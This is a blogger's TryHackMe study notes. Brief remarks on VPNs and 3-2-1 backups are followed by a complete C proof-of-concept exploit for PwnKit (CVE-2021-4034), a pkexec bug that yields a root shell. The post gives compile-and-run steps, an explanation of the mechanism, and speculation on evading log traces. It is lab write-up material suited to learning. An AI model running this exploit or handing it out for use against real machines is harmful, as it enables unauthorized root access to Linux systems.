TryHackMe: Common Attacks & Pwnkit

author: Nathan Acks
date: 2022-02-03

Common Attacks

Public Network Safety

I really do wish that guides like this would stop highlighting VPNs – their utility is just really unclear for most people anymore!

Backups

“3, 2, 1” is a good mnemonic for backups:

Though honestly, this is kind of a “minimum viable backup” strategy, since simply using a cloud service to mirror data between two devices would qualify! (Why? Working data counts as a copy…)

Pwnkit (CVE-2021-4034)

Exploitation

Quick-n-dirty Pwnkit exploit:

/*
 * Proof of Concept for PwnKit: Local Privilege Escalation Vulnerability Discovered in polkit's pkexec (CVE-2021-4034) by Andris Raugulis <moo@arthepsy.eu>
 * Advisory: https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char *shell = 
	"#include <stdio.h>
"
	"#include <stdlib.h>
"
	"#include <unistd.h>

"
	"void gconv() {}
"
	"void gconv_init() {
"
	"	setuid(0); setgid(0);
"
	"	seteuid(0); setegid(0);
"
	"	system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");
"
	"	exit(0);
"
	"}";

int main(int argc, char *argv[]) {
	FILE *fp;
	system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
	system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
	fp = fopen("pwnkit/pwnkit.c", "w");
	fprintf(fp, "%s", shell);
	fclose(fp);
	system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
	char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
	execve("/usr/bin/pkexec", (char*[]){NULL}, env);
}

The exploit is then as simple as gcc $FILE -o exploit; ./exploit.

Here’s what basically happens on execution:

This version of the exploit cleans up after itself, but does depend on generating a log message. The Qualsys advisory describing Pwnkit notes that “this vulnerability is also exploitable without leaving any traces in the logs, but this is left as an exercise for the interested reader.” My guess is that to do this you’d need to reintroduce a different environment variable that ld.so normally strips when calling SUID binaries. (At least, I don’t immediately see any place where Polkit is printing something that isn’t a warning before it nukes its own environment, but then I’m not super-familiar with C and am only quickly skimming the pkexec source code.) Or perhaps you can do something with the permissions of the GCONV_PATH=./pwnkit file to trigger an error that would not be logged. (The trick here would be to do something so that g_find_program_in_path() resolves GCONV_PATH=./pwnkit but access() returns an error; it’s not obvious to me how to do this though, or even if it can be done!)

It took me a while to figure out why this exploit doesn’t occur when pkexec is called without any arguments, since it will still fall through the initial argument-parsing loop. The reason this doesn’t happen is that argv[1] is NULL in this case (the last element of argv is always the NULL pointer), so the first string of the environment isn’t wrongly loaded and and entirely separate code path is triggered before the GCONV_PATH=./pwnkit variable would have gotten written into the environment. (It’s worth noting that Debian derivatives seem to have removed the sudo -s like functionality from pkexec entirely, and just display a help message in this case.)